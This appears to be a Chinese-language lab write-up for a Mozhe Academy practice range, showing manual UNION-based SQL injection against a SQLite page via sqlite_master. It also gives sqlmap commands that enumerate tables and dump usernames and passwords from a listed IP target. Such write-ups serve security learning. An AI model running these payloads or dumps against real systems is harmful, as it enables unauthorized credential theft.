1. 墨者学院:SQL手工注入漏洞测试(SQLite数据库)🚀
2. SQLite数据库注入特点🔍
SQLite数据库和MySQL数据库语法不同,不能直接套用MySQL的注入方式。但SQLite有个特殊的数据库sqlite_master
,它存储了所有表结构信息,我们可以利用它进行注入测试。sqlite_master
表的结构是固定的,它至少包含以下字段:
字段名 | 数据类型 | 描述 |
---|---|---|
type |
TEXT | 对象类型(table 、index 、view 、trigger ) |
name |
TEXT | 表名、索引名、视图名等 |
tbl_name |
TEXT | 所属表名(对索引和触发器有用) |
rootpage |
INTEGER | 在数据库文件中的存储位置 |
sql |
TEXT | 创建该对象的 SQL 语句 |
所有标准的 SQLite 数据库都会包含 name
和 sql
字段,因为它们是 SQLite 引擎用来存储数据库结构的核心字段。
3. 手工注入测试🎯
测试目标URL:http://124.70.71.251:43066/new_list.php?
3.1 判断字段数⚡
id=1 order by 5
3.2 判断显示位⚡
id=1 union select 1,2,3,4
3.3 获取所有表名⚡
id=1 union select 1,2,group_concat(name),4 from sqlite_master
3.4 获取WSTMart_reg表结构⚡
id=1 union select 1,2,sql,4 from sqlite_master where name='WSTMart_reg'
3.5 获取WSTMart_reg表数据⚡
id=1 union select 1,group_concat(name),group_concat(password),4 from WSTMart_reg
4. sqlmap自动化测试🎯
因为得到了数据库sqlite_master
,sqlmap就可以接着爆破,省去手动测试
4.1 枚举sqlite_master中的表⚡
python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master --tables --batch
4.2 枚举WSTMart_reg表的列⚡
python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master -T WSTMart_reg --columns --batch
4.3 导出WSTMart_reg表数据⚡
python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master -T WSTMart_reg -C id,name,password,status --dump --batch
4.4 清理缓存⚡
python sqlmap.py --purge
该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:
python sqlmap.py -h
5. 总结🏁
- SQLite注入与MySQL注入方式不同,但通过
sqlite_master
系统表可以获取数据库结构 - 手工注入步骤:判断字段数→确定显示位→获取表名→获取表结构→获取数据
- sqlmap可以自动化完成整个注入过程,效率更高
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗